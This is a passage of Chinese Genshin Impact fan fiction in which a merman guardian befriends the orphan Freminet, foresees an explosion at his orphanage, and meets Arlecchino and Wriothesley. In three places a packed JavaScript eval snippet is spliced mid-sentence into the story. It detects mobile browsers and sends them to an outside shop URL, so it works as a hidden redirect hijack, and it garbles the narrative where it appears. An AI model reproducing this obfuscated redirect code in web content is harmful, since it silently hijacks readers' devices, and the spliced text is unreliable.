静原伸手勾了下小孩的下巴,让他抬头:“那就看着我说话,我不吃小孩。” 月光下,人鱼那张男身女相雌雄莫辨的脸美丽得惊人,小男孩却从那双湖蓝色的眼睛里,看见了如海一般的广阔与平静。他莫名的镇定下来:“好……我看着你。” “还有想说的话吗?” 小男孩扭着衣摆:“明天,还能再见到你吗?” “和你在一起,很安心。就像,和妈妈在一起一样。”小男孩感觉自己说错了话,着急找补,“对不起我不是那个意思,卡吕普迪斯大人——” “没关系。我应该高兴的。”静原笑了笑,“这是我的荣幸,小先生。” 或许在一些人看来被当做他人的妈妈是一种被压迫的侮辱,但至少在这个语境,静原很高兴自己有着能被他人依靠和信赖的能力。如母亲一般带给他人莫大的安全感,这确实是他的荣幸。 “你是海的孩子,自然也是我家人。我一直在海里。想见我的时候,默念我的名字。”静原说,“水会把你的思念传递到我的身边,到时候我就能找到你了。” “我的名字是卡吕普迪斯,随你怎么称呼。现在,可以告诉我你的名字了吗?” “……我的名字……” 小男孩眨了眨眼,仰头看向月光下的人鱼,那双漂亮的就像是玻璃珠子一般的蓝眼睛闪烁着微弱的光。月光过于皎洁,静原甚至能看清他脸上有几颗褐色的小雀斑。 “我叫,菲米尼。” 37.乖孩子 菲米尼……? 这个名字有点耳熟。 目送小男孩上岸离开,静原沉入海洋找到了自己的粉贝壳床睡觉,琢磨着这个名字。想到对方浅金色的头发和蓝眼睛,以及白皙皮肤上的小雀斑,感觉这孩子一定就是那个沉默寡言,腼腆内向的冰系小企鹅。 抱歉,静原总是习惯给角色取代号。菲米尼有一个机械企鹅伙伴佩伊,打架就是把佩伊丢出去,这给前生的静原留下了很深的印象——你要跟他说菲米尼他不一定能立刻反应过来,但要是喊冰系小企鹅,包晓得的。 同类型的还有蒙德冰系小黄鸟米卡…… 话说起来,菲米尼躲在海底放空自我好像是一种个人爱好啊……他是不是太鲁莽了。 后知后觉感觉不太好的静原挠挠尾巴,翻了个身,干脆闭眼睡觉不想了。 为了和小朋友的约定不失约,第二条静原起了个大早把着急干的事全干了,捞了点汐藻海草当早饭,然后就守在那片海域等人。大概中午日头最盛的时候,他看见了菲米尼抱着潜水头盔走到岸边,脱下外套塞到海边的大石头下压着,然后戴上头盔潜水。 吃午饭了吗这孩子。 静原游过去:“肚子饿吗?菲米尼。” 菲米尼先是被吓了一跳,戴着潜水头盔的样子有些呆呆的可爱,小朋友点点头:“我吃过午饭,才出来的。” 院长……【母亲】大人并不会刻意让孩子们饿肚子,反而会让他们吃饱。 十岁左右的年纪,长得瘦瘦小小。静原思索了一会,面上扬起笑容:“好,那我们去玩吧。你平时都在哪里活动?” “……都听你的。哪里都可以……”菲米尼低头轻轻道。他觉得和卡吕普迪斯大人说话很舒服,哪怕自己声音再低,对方都能听到。 稍稍,有一些自在…… 既然小企鹅都这么说了,静原只是微不可察的叹了口气,然后牵着小朋友的手潜入海底,在阳光直射,色彩缤纷的温暖浅海区游动。柔软的绿色海藻似巨大的软垫,粉紫色的汐藻像点缀的梦。 菲米尼看得到那些在礁石与海草身后探出头来的重甲蟹,鳐鱼,海豹……圆圆的眼睛滴溜溜转。和以前自己只身一人感受到的海洋不同,是充满童真趣味的,可爱的,甚至是柔软美丽的。 有只海獭顶着粉色小贝壳游到卡吕普迪斯大人身边,和他亲昵的蹭蹭脸蛋。 人鱼的手臂上长着乳白的鳍,和尾鳍一样的纹理,看着那么美丽而脆弱…… “你在看我的鳍?”卡吕普迪斯大人发现了他的目光,扭头说,“小心啊,这可是很锋利的。” 也许是为了验证这句话,卡吕普迪斯大人找到了一块礁石,只是尾巴尖搭在上面,轻轻一划,顷刻一分为二。切面就像菲米尼幼时被妈妈牵着手匆匆路过的那家甜品店里的,摆放在透明柜子里面的小块慕斯蛋糕一般。 海獭趴在卡吕普迪斯大人的肩上,温顺的就像是一直慵懒的猫。 但它不是被人类驯养的猫咪,只是趴在人鱼肩上享受了一会温暖的日光,似乎浅眠了一小会,醒后就离开了。 卡吕普迪斯大人牵着他的手,穿过蜂拥的漩涡鱼群,游过密密的海藻林,突闻海上鲸歌起,那些海孕养的美丽庞大生灵聚集在一起唱歌。菲米尼知道的,每年夏季枫丹都能听到这些鲸鱼唱歌。在枫丹的童话故事里,鲸鱼是天国的使者,只有纯真的灵魂为它们所青睐…… “我们去看鲸鱼。枫丹孩子都喜欢鲸鱼。”静原这样说着,带着小朋友快速游动,几个大摆尾后就来到了鲸群外围。 来自深海的,庞大的海洋生命,每年夏季齐聚于此,为了繁衍,为了聚会,为了交流,唱响族群的歌谣。自枫丹建立以来,代代人听着鲸歌长大,那是枫丹人共同的回忆。 菲米尼也不例外。他头一次接触到这些大家伙,更别提静原把他抱到一头鲸鱼背上坐着,简直刺激得手都不知道往哪放好了。 静原听到了小朋友的感叹,和这头鲸鱼说:“艾迪莎,记得换气稍稍频繁一点哦。” “你就放心吧,卡吕普迪斯大人。”艾迪莎是个男孩子,也是多年前静原领着去海底漫游的幼鲸一员。“话说,今年怎么没看到米兰娜?” 米兰娜是那头至冬鲸鱼。 “她去年就说年纪大了,不再带队南下来枫丹了。”静原摸摸艾迪莎,“你的单相思早该结束了。” “……可惜了,我还没有和她生过幼崽呢。” “你从来都没主动过好吗……”静原和艾迪莎简单聊过几句,就坐到他背上去和菲米尼聊天了。 说是聊天,谁不知道菲米尼话少且腼腆。最后还是一起看鲸□□友,少儿不宜的场面上演之前,静原就带着小朋友离开了。 菲米尼不知道他看见的是海洋生物学家梦寐以求的鲸群繁衍前奏场面,因为鲸群不是很能接受相亲被人类旁观,感觉怪怪的——不过孩子除外,孩子知道些什么呢?想看就看呗。 任何有良知的生物对待幼崽都是极尽柔软与耐心的。 今天的最后一站是海沫村。 美露莘们第一次见到带着潜水头盔,跟着人鱼远游的小小人类,好奇的围过来。 “卡吕普迪斯大人的小客人,你为什么一直戴着头盔呀。” 这个前缀有点太长了,美露莘们自觉的用起简称:“小客人,到了吃晚饭的时间了。和我们一起吃晚餐好吗?” “海沫村的客人很少很少呢。你是最小的哦。” “小小的客人,和我之前在枫丹廷看见的人类不一样呢。” 菲米尼感受到了这些奇妙生灵的热情,厚重潜水头盔下的脸蛋跟熟透的番茄一般,紧张得腿都在抖。更别提静原在石台上做好了饭,对他说:“吃饭吧。吃完饭我再送你回去。” 菲米尼:“!” 吃饭就要摘头盔。可是,在这么多美露莘面前摘头盔,她们热情的注视会让菲米尼想要遁地逃走。 “抱歉,我认为你们都是小朋友,就没想到这一点。”静原领着菲米尼去到另外一边,“我可爱侄女们的热情让你感到为难了吧。放松,她们很乖的,知道你害羞,不会像刚刚那样围过来的。” “吃饭吧。我难得做一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627846|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。”海沫村不缺儿童体量的家具桌椅,找一套给菲米尼用当然有。而菲米尼坐在椅子上,看着面前粉白色石桌上的热腾腾的食物,迟疑的拿起餐具,然后又放下,选择摘下自己的潜水头盔,再拿餐具吃饭。 兽肉切块去血水煮熟,加去腥香料清炖。番茄去皮切块,炒熟,在倒入清炖的肉,一起炖煮片刻,只需少许佐料调味,就烩成了一锅香气四溢的番茄炖肉。这是静原从秋秋那里学到的家常做法,美露莘们接受良好,或者说,孩子基本都能接受酸甜口的。 菲米尼很喜欢,就着面包吃了两大碗。 静原托腮笑着,他很少做饭,但像每个下厨的人一样,食客吃光光就是对他手艺最好的评价。 尤其这是个很乖的孩子,字面意义上的很乖。 静原喜欢乖孩子。比如塔塔,比如秋秋,比如美露莘,比如菲米尼。乖并不是乖训,而是不给人添额外的,乱七八糟的麻烦。 反正在静原这里,乖孩子的反义词就是熊孩子。 “……为什么,这样看着我?” 菲米尼的声音将静原从遥远的思绪离拉回来,后者笑了笑,心情很好:“我在想你是个乖孩子。” 菲米尼:“……” 菲米尼放下餐具,轻轻道:“乖孩子又怎样呢?” 妈妈还是不会回来。 送菲米尼上岸的时候静原顺嘴问了一句他现在住在哪,毕竟黎翡区的住民并不多。菲米尼说是一家福利院,有着高高的白石院墙与那位院长。 菲米尼之所以能跑出来潜水,也是因为他年纪小,表现得一向乖巧,没人在意他。 “我们明天还能再见吗?”菲米尼抱着潜水头盔问,“今天玩的很开心。” 被人鱼带领着看海下的旖旎风光,听鲸群唱响歌谣,在美露莘的村子里做客……这样的经历,是会被写进童话故事里的程度吧。 菲米尼在心底感叹,然后抬眸看向人鱼。人鱼的模样很美,望向自己的时候,眉眼间总带着一股说不出来的柔软。虽然有时候目光未能凝聚,但他知道那种眼神是温和的。 有时候,妈妈看向他的目光就是这样的。 “明天我就要去另一片海域巡逻了。大概是莫尔泰地区,那边的水文环境又有变化……你要是想我了,就对着海水念几遍我的名字。然后第二天,我就会出现在对面这附近。”静原说,“水会承载你对我的思念……所以一定要念对啊。” 菲米尼眨了眨眼睛:“念错名字就听不到了吗?” “可以这么理解。” “我会记得的,那么……再见。” “再见。” 这次离开,下次再见就不知道是什么时候了。 呼唤静原的方法他告诉给很多孩子,可是孩子们呼唤他的次数只有寥寥几次,其中绝大部分都是死前想要见见他。 为什么不肯呼唤我陪伴呢? 静原不理解。很长一段时间里他都以为是孩子们念错了名字导致他听不到,可是海说没有,水流未曾带来远方故人的消息与情感。 坟冢前徒留遗憾。 38.赤月 果然,后续几个月他都没有听到菲米尼的消息。哪怕自己巡逻回来,哪怕自己在那处海岸边游荡,也没能见到那个小小的身影。 高坡上的白石院墙耸立,隔绝了墙内与墙外,分割为两个世界。静原不知道这样的福利院里发生了什么,上报沫芒宫,得到的也都是一切正常的回答。 一切正常吗? 他放不下心,一连几天都是在黎翡区的水体休息,因为这边有梅洛彼得堡,他还抽空联络了一下在水下监狱当护士长的美露莘希格雯,被塞了一兜子的护肤品和食物,检查了一下身体有无异样。 结论是挑食批身体指标一切正常。 希格雯露出笑容,静原摸摸自己的眼皮,总觉得不太正常。 心被高高提起,悬在半空。他感觉不对劲,感觉到有什么事要发生,可是眼睛没有给出反馈,只能强行按压焦灼。 提起的心在那一天夜里终于掉落回原地。 他本来坐在海岸边都大石头上吃希格雯的爱心便当,突然眼前一片模糊,血色弥漫了双眼。 他看见血红的月亮占据了天,云层都被染上了不详的色彩。黑白发的青年人手持殷红镰刀,如同死神降临收割生命。红色的,红黑色的力量凝聚,然后冲击屋顶、苍穹。一切都在如镜般碎裂,一切都在被腐蚀消融,最后汇聚为赤月力量的一部分。 殷红的,大写的斜形十字如同判官划去的符号,作为这次预知的结尾。 结束了。 静原蜷缩上半身,双手捂住眼睛,好像按压就能麻痹痛苦一般,粘稠的猩红液体从指缝流淌,顺着皮肤与鳞片融入身下的海。 双眼的疼痛扩散开来,大脑,躯体,尾巴尖似乎都在颤抖,可他偏偏还有力气坐着。 海露花舒展着柔软的花瓣,盛着人鱼的血,血珠缀在花瓣边缘,欲滴不滴,最终倾斜,让那粘腻的血珠融入身下的泥土。 等疼痛褪去,他稍稍直起了脊梁,大口的呼吸着,喘息声带着哽咽,吸了吸鼻子,把眼泪憋回去。然后捞起海水洗脸,将血污洗净。 这次看见的未来发生在陆地上,静原无法触碰,就算上岸也只能远远旁观,于是次日清晨,一封书信被美露莘转交到沫芒宫。而静原也终于知道那家孤儿院背后的势力是至冬的愚人众。 愚人众吗? 静原对这个组织没什么看法,只要不危害枫丹以及他的家人,其实对方干什么他都无所谓。这次看见的未来,赤月下的青年人也只是在白墙内施展力量。静原不太想插手管,但提前给沫芒宫打个报告还是没问题的。 可他仍然有些担心菲米尼。那是个腼腆而内向的孩子,瘦瘦小小,浑身上下也没几两肉,抱在怀里跟只幼猫似的——静原真的很担心他被欺负。 人鱼扶额,忍不住揉揉太阳穴。本来鱼的记忆就不好,自打眼睛能看见那些破事后,遗忘速度那是拍马也追赶不上,现在除了印象特别深刻的点,前生的许多故事他都想不起来。 回忆被蒙上了厚重的白布,可他隔着玻璃墙壁观看,找不到进去掀开白布的方法。 最关键的是,这事还不好跟那维莱特开口解释…… 静原万般无奈,只得守在黎翡区海岸边,等待赤月当空那一晚的到来。枫丹廷也派人来周围驻扎,可是连续熬里几个夜也没看到动静,都有些懈怠了。静原看在眼里,并不多言。 变故就发生在守卫松懈的那一天深夜 说实话,福利院坐落于山坡之上,离水畔很有些距离。静原远远的看着,那浓墨重彩的猩红与殷红交织,跟核武试验一样,砰的一下子就轰碎了白墙内高大的建筑,气浪翻飞,建筑碎块如水珠迸溅,远在水岸边的静原的头发都被吹动。这一下子给打瞌睡的探员们惊醒,着急忙慌摸了武器就要上去看个究竟,叫带队队长拦下。 静原双臂环胸,面上看不出多大的情绪波动。在队长的目光看过来时丢下一句“愚人众会来接手的”,然后头也不回的潜入深海。 这之后又过了个把月,他终于听见了属于菲米尼的呼唤,当天就去了对方所在位置。不过不是黎翡区了,而是枫丹廷区。 枫丹廷城外的低处,水畔生长着海露花,花坛离种着泡泡橘树和虹彩蔷薇。菲米尼没有带他的潜水头盔了,露出白白净净的脸。 大概没想到静原会来得这样快,小孩有些愕然:“卡吕普迪斯大人……” “刚才在附近巡逻。”静原解释了一句,然后问他,“前些日子黎翡区有一起很严重的爆炸案,那处福利院被毁掉了,你知道发生了什么吗?有没有受伤?” “……都没有。”菲米尼摇摇头,“爆炸前几天,我就被秘密转移到了其他地方。等我们可以出来的时候,一切都结束了。” 【母亲】死去了,现在是【父亲】接手了他们。 壁炉之家的【父亲】,愚人众执行官【仆人】。 菲米尼默默咀嚼着这几个词,并不愿意告诉静原更多。不仅是因为需要保密,也是为了保护深海的人鱼。 毕竟在一个孩子眼中,壁炉之家身后的愚人众堪称手眼通天,而人鱼看上去过于脆弱…… 确实有点脆皮的静原拍了拍尾巴,也无意追问,确定菲米尼没有受伤后,又问了几句他现在住在哪,吃饭合不合胃口,睡得舒不舒服,有没有人欺负他之类的话,菲米尼乖巧的一一作答。静原也顺带知道了菲米尼在福利院最喜欢的两个孩子的名字。 哥哥林尼,还有妹妹琳妮特。他们都是菲米尼的家人。 “这样啊……”得知林尼兄妹帮助过菲米尼,让他不再遭受隐性的排斥后,静原对这耳熟的二人好感度提高了不少。反而忽略了为什么会这样觉得这两个名字耳熟…… 不管怎样,愿意对弱小者伸出援手的人再坏也坏不到哪里去。静原和菲米尼相处了一段时日,还是很希望对方能过得好的。 而且这次邀请菲米尼一起出海玩,对方有些羞涩的拒绝了,说是和哥哥林尼约好了要一起去看魔术表演…… 静原自然是高兴的,这证明小孩有更合适的同龄伙伴。他摸摸小孩柔软的发顶,然后和对方道别,目送菲米尼一步三回头的离开后,静原倒是没有像往常那样回到海底,而是思考了片刻:“不打算出来见见我吗?菲米尼的监护人。 ” 拐角暗处隐匿的气息显露了出来,显然对方也没有再隐藏的必要了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651322|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很高兴见到您,卡吕普迪斯先生。”对方穿着一身考究的灰色制服,黑白双色的长发束拢垂在脑后,斜形十字瞳注视着深海的人鱼,“我是那孩子的【父亲】。” 静原没有多嘴问为什么女性会自称是孩子父亲,大概是什么地方特色吧……潜意识提醒他这个女人很危险,但无需恐惧。 静原顿了顿,和孩子说话与同成年人交谈是不一样的:“你有话要同我说吗?” 很直白对吧?静原想不到更好的切入点了,他不是很擅长碰嘴皮子,也不太想多说废话,寒暄到此结束即可。 “那天之前,一直在海岸边徘徊的气息来源于您,对吧。”女人说,“为什么会提前逗留警惕?” 啊,这是怀疑计划泄漏,要找出叛徒……可惜没有。静原也不会说出眼睛的秘密:“我有自己的信息渠道……和人类不一样。” “是吗……” “至冬的事,我无意探究。愚人众在枫丹的行动,合情合理也没人多插嘴。”静原直直的对上她的眼,“但那孩子与我有缘,他的事,我会多关注一些。” “呵……壁炉之家的孩子,卡吕普迪斯先生竟然会与其有缘分吗?”愚人众声名在外,壁炉之家的风评更是烂透了。但是…… 静原:有点难缠,但可以理解。 静原:“孩子就是孩子,来自哪里不重要,我只看品行。” 至少他现在看到的菲米尼是好孩子,这就够了。 对方的目光依旧冷漠,面上倒是带了点笑:“您可真是位好先生。和传闻中的一样。” 静原:???啥?传闻怎么了?你确定你没说反话?喂喂喂? 可惜对方没有给他多余的反应时间,随便找了个理由说句告辞就离开了,留下静原一脸迷茫的挠挠头。 仆人阿蕾奇诺,愚人众执行官,壁炉之家的【父亲】。 自从接手了这一帮孩子后,阿蕾奇诺一直奔走在任务一线。至冬的富商政要不会把壁炉之家的孩子当孩子,那只会是他们谋取利益的工具。纵然仁慈的冰之女皇在上,也阻挡不了阴沟里的老鼠窥探这些如花般绚烂的生命。何况不仅只有至冬,还有其他国家的臭虫。 阿蕾奇诺的孩子折损在这种人手中,令她作呕。 年纪大些的避不可免被训练为役人,进入愚人众效力。年纪小些的也有自己的任务,作为眼线密布七国。 菲米尼是这其中较为特殊的一位。他进入壁炉之家的时间是前代仆人当道,等阿蕾奇诺上台后,他因为年纪小而被留在家里接受教导。老实说,阿蕾奇诺还没想好要如何安排这个曾经是同辈分的孩子。恰巧前段时间那种关键的节骨眼上,福利院外徘徊的水元素气息又出现了,她跟随菲米尼找到了对方,没想到只是呼唤几声名字,枫丹海的精灵就出现在了那孩子面前。 一瞬间,阿蕾奇诺头脑中闪过许多可能性,幸好最终的结果没有让她失望。 她想起从前听过的故事,枫丹海的人鱼宠爱有着幼童外貌的生命,譬如人类的孩子,譬如美露莘……倒是不错。 只看重孩子的品行吗? 可愚人众的孩子,从来都称不上出淤泥而不染。 39.我所喜爱的 愚人众的孩子,真能有出淤泥而不染的吗? 这个问题静原哪能知道。他自己过日子都是迷迷糊糊稀里糊涂的。而且这么些年,能让他看着长大,记住名字并且时时挂念的孩子也没有几个,其他孩子多数的时候都是匆匆一见,再也没有交集。 毕竟人类的寿命过于短暂,静原又是三天两头就到处转悠的薛定谔的宅男(家的范围太过大了),靠近岸边的频率并不高,和人类孩子的交集并没有想象中那么多那么频繁。等他想起来和对方碰碰面,故地重游的时候,对方不是垂垂老矣就是搬家远走——想结缘也产生不了多深的联系。 想知道为什么在这样的背景下,他印象最深的塔塔和秋秋还能在人鱼回忆中留下浓墨重彩的一笔吗? 很简单,塔塔是因为第一的特殊性,而秋秋是因为经常对着沉玉谷的水流念叨人鱼哥哥巴拉巴拉多么漂亮巴拉巴拉多么有趣。流水将孩子的思念传递给静原,这家伙有人提醒,自然三天两头往沉玉谷跑,至今仍然保留有这个习惯。不过也正是因为和秋秋结缘颇深,对方寿终正寝离去带给静原的痛苦也愈发深刻。 那是和突然发现塔塔濒死的惊愕痛苦不一样的悲伤,因为静原是注意到了对方的缓慢衰老的。他感受到了那孩子生机日复一日的流逝,他知道人终有这一天的——只是,太难过了。 因为不想再经历一次那样的悲伤,静原逐渐远离了人群,与小企鹅菲米尼的相遇纯属意外。 静原不讨厌意外,意外总会带来无限惊喜。而静原喜欢惊喜。 菲米尼的身份重要吗? 并不重要。 静原和人类的孩子交朋友纯属出于友谊,以及年长者对孩童的下意识呵护。只要菲米尼不在静原的底线上跳踢踏舞,他就算做到了愚人众执行官的地位静原也不在意。 静原不讨厌愚人众,也并不厌恶执行官。他厌恶的是某一种行为,以及做出这种行为的人。 与身份无关。 所以菲米尼监护人的担忧在静原这里并不生效。他不在意对方的身份,只要对方身上珍贵的品行不变,只要对方不会突然离开,静原愿意忍受未来永远分别的痛苦,也要和对方一起创造那些称得上是美好的回忆。 因为只有这样的回忆才能抵御漫长时间带来的痛苦。 菲米尼有一位人鱼朋友,这个消息无法瞒过和他最亲近的林尼兄妹。彼时尚不知晓林尼与琳妮特有直接血缘关系的菲米尼面对信任的哥哥的询问,最开始是避而不谈,后来得到了静原的默认,开始带林尼和琳妮特去和人鱼见面。 静原一周大概会和菲米尼见上三面,一周出门玩一天,听小朋友讲述烦恼,带他游览枫丹海,偶尔带去海沫村做客。美露莘们很欢迎纯洁的孩子,大家一起在粉白色的大型石台上嬉笑游戏。 不过林尼兄妹加入其中后,为了安全考虑,海沫村是不能再去了。静原就带他们去了莫尔泰地区看高塔,去看枫丹动能科学研究院著名的水立方建筑。 琳妮特还是个有着猫耳朵与猫尾巴典型返祖特征的小女孩,面上没有什么太大的表情波动,只是漂亮的紫色眼睛里流露出的惊叹太过明显。静原失笑:“我第一次看到人类这种建筑也很惊讶呢。” 谁知道琳妮特问:“卡吕普迪斯先生可以游上去吗?” 静原卡壳:“……我还没有尝试过,不知道可不可以。” 林尼打了个响指:“附近应该会有通道不。不如我们找找看?” 菲米尼惊讶:“这就,决定要上去看吗?” 静原摇摇头:“就算有通道,也是在岸上。人鱼无法在陆地长时间停留,你们几个还是孩子,不能在没有成年人的陪同下进入这片山区。所以我们不能去。” 除了菲米尼,另外两只都露出明显的失望神色。 静原补充一句:“等你们长大了应该就可以。研究院每年都有对外开放展览名额。” 他为什么知道?因为从前有研究员提出带他上去看——用大型水族鱼缸带他上去。 静原用尾巴尖想都知道这群人打着什么鬼主意,坚决拒绝了,扭头就在水体里找到了废弃能量和垃圾,在递交给沫芒宫的报告里狠狠记了一笔,扣了研究经费,直到下次静原来检查水体洁净确定没问题后,那笔研究经费才被顺利发放下去——他是会卡脖子的。 默默上了枫丹动力科学研究院全体黑名单的卡吕普迪斯先生继续带几个小朋友玩了。 话说他怎么一直在带孩子? 从前是格蕾丝蒂、艾伊丝和托皮娅三个。可惜随着年月流逝,艾伊丝继续她的沉船研究,经常在海里水畔活动,十天半个月能见到一次路过的静原。托皮娅爱好音律,从枫丹廷进修回来后便留在海沫村进行创造,不再跟着静原出海巡逻了。格蕾丝蒂倒是隔三差五和静原在一起,这几天到梅洛彼得堡找希格雯玩了,静原打算送三个人类孩子回家后就去接格蕾丝蒂。 话说人类孩子的精力是不是太充沛了…… 好不容易哄着三个小孩从危险地带边缘离开,购买了食物看着他们填饱肚子,太阳西下时,到了送孩子们回家的时间了。 静原将他们送到枫丹廷城下的水畔,看着三小只进入城区后才离开。枫丹廷城区的危险程度相较野外那安全了不知道多少倍,巡逻守卫、美露莘们都会下意识留意孩童,静原看着他们坐着电梯进入城区就算放心了。 去接格蕾丝蒂回家的时候,他还顺手买了两块奶油面包。等小美露莘坐着电梯从深海之下的钢铁堡垒出来后,就可以趴在叔叔的背上吃香香的奶油面包,分享和希格雯一起玩的快乐,比如梅洛彼得堡新监狱长是个和卡吕普迪斯大人一样温柔的帅气男性……家就在这样的日场分享中抵达。 静原为此感到幸福。 偶尔他会因为懒得回海中的贝壳床休息,选择宿在海沫村的水潭里,早上起来就有瑟琳准备好的早餐,吃完再去枫丹海巡游,或者到时候沉玉谷采购。 美露莘们有时候问他为什么不去须弥,明明拜达港就在南边。静原想了想,不知道怎么回答。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659960|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能就是单纯的不想去? 更多的还是因为须弥版图太大了,而且地势复杂,水脉虽说四通八达,可惜水浅居多,并不适合他这种无法上岸活动的鱼去度假——如果去的话话,能够到达的地方相当有限。 人家沉玉谷至少有一条主河流极其宽广且深呢。 美露莘们勉强接受了这个回答。扭头就去讨论这次邀请定做怎样的贴纸送给希格雯了。 “贴纸?”静原听到这个有点疑惑,好奇问了一嘴,“用来装饰希格雯的医务室的吗?” “不是哦,是贴在梅洛彼得堡监狱长,【公爵】大人莱欧斯利先生身上的。”格蕾丝蒂笑,“因为感觉公爵大人和可爱贴纸很相配呢。” 这个名字也有点耳熟,为什么一个名字前面的前缀称呼这么长…… 静原没有见过梅洛彼得堡的几任监狱长,毕竟他们通常驻扎在水下的钢铁城堡里,和静原几乎没有交集。他没见过此世的莱欧斯利,不过想想也该知道冰冰冷冷的监狱长和可可爱爱的美露莘贴纸一点也不相符合吧?一点也不吧? 格蕾丝蒂只是微笑:“卡吕普迪斯下次和我一起去看望希格雯的时候,见到公爵大人就明白啦。” “我怎么进去……” “卡吕普迪斯大人没办法进去,可是公爵大人可以出来呀。” 好有道理。 然后莫名其妙演变为大守护者和公爵约定在欧庇克莱歌剧院后临海的长台上见面。 看着寄到自己手中的书信,静原眼神复杂:“你们到底是怎么转述的。” 怎么还弄得这么正式,人家莱欧斯利专门给我写了信,我嘞个豆啊…… 格蕾丝蒂可可爱爱歪头:“就说卡吕普迪斯大人对公爵大人很好奇呀。” 虽然、但是、也许、可能……算了,倒也没说错。 静原叹气,扭头就找那维莱特打听。 他有点莫名其妙的紧张,之前和菲米尼监护人见面都没有这样的感受。 那维莱特正在水畔行走,闻言表示:“嗯?原来你们已经有联系了?这样也很好,你们都是我信赖的人。” “嚯,听上去对他评价很高。想来很不错。”能被美露莘喜爱的人自然不难相处,静原在那维莱特这里得到了另一重肯定后,多多少少有些安慰,转而询问起别的,“他知道你我的关系吗?” 那维莱特摇头:“我未曾告诉他我的身份,也没有多提及你。他应该不知道。不过……他很聪明,也许有一些我也不清楚的猜测。” “好了我知道你真的很欣赏他了。唉,有点小小的嫉妒。”静原虚假的装作抹眼泪,“我大概要多一个眷属同僚,再也没法独享宠爱了。” 这当然是假话,那维莱特自然听得出来这和撒娇打趣没有区别,无奈笑笑:“卡吕普迪斯。不必紧张,你见过他之后就会明白我的意思。” 前生记忆越来越淡薄的静原还是信的,开始忐忑的期待约定的那一天到来。 话说他为什么要这样紧张,真的很莫名其妙…… 40.哇哦 到了和公爵约定见面的那一天,静原难得在梳好头发后思考要不要戴个饰品…… 带饰品这个习惯还是前些年被导演们折腾出来,管服化道的小姑娘对着他的脸上下其手啧啧两声:“这么好看的脸,首饰装点的效果几乎没有,光顾着看脸去了。” 导演一拍案:“但是我们要拍的是侧脸和背影!头饰越大越显眼越好。快,去把我在璃月定做的那套珊瑚贝母头面拿过来!” 结果拍完宣传映影后,导演把那套头面无偿赠送给了静原,静原也确实喜欢,回了同等价值的礼,然后将那套头面存放在干燥的的地方保存,不常翻出来用。 今天想起来头饰,也真是紧张过头了。 静原:所以我到底为什么紧张?? 像是为了证明什么一般,他把翻出来的头面原模原样的放回去,洗了把脸就去赴约了。 跟在身边的格蕾丝蒂疑惑:卡吕普迪斯大人的肌肉都很僵硬呢。 到了约定的地方,静原本以为他提前来会等一会,谁知道浮出海面一仰头就看见平台上支起桌椅喝上午茶的两位男性。 这二位感觉到他来了,同时扭头看过来。 那维莱特:“上午好,卡吕普迪斯。塞德娜说你应该还没有吃早餐,准备了一些餐点。” 另外一位是个黑头发蓝眼睛的帅哥——肌肉鼓鼓囊囊却不臃肿,给人以温和内敛的力量感,披风毛茸茸,缀着颗冰系神之眼。 “上午好,卡吕普迪斯先生。我是莱欧斯利。”帅哥正端着茶杯,微微抬高了一点手腕,“来杯茶佐餐吗?” 静原:“……” 我嘞个豆啊…… 他知道自己为什么莫名其妙的紧张了。 这个时候避不可免的谈到静原的游戏xp了。 冰系、成年、温和、母性光辉——四种元素满足任意两种,前生的静原都会怒掏腰包将其迎娶回家。而那游戏里完美符合静原喜好的有两个,一个是打从萌新时期就陪伴她摸爬滚打艰难前行的四星角色凯亚(他转生成为人鱼都还记得对方漂亮的星星眼),另一个,就是怒冲三个648迎娶回家,为此整整一月吊着口气渡命的枫丹监狱长莱欧斯利!!!! 他终于明白自己为什么紧张了,终于!!! 因为这跟她当年坐电脑前净面焚香求神拜佛苍蝇搓手一系列迷信操作结束后点击鼠标十连接十连的心情一样啊!!!! 啊啊啊啊啊啊啊啊啊——这是何等痛苦的回忆!我不要记起来呀!!!我不要啊!!!! 哪怕心里崩溃得要命,可面上倒还稳得住(?)。静原再度开口,声音带着明显的哽咽:“你当年,为什么不能更主动一点呢……”这话声音很低很低,旁人没有听清楚。 你知道吗?那维莱特。我这个月卡党攒了两个版本的原石,首冲还在,提前垫了个小保底,结果硬是充了三次才到手1+1*……老天爷,你知道这意味着什么吗?意味着你心里根本没有我!!!我抽那维莱特他四十多抽就来了!抽将军也是这样!抽小草神哪怕歪了也是提前歪提前出。就算是最难抽到的御三家,混池一开下场也是蹭蹭的来。 只有你!莱欧斯利!!你这个负心汉!!!吞了我一个月生活费!!!! 当年的大学生静原为了这一时的头脑发热节衣缩食月余,每每看到莱欧斯利都会一阵肉痛,呼吸不畅,紧张得要命——堪称有病。 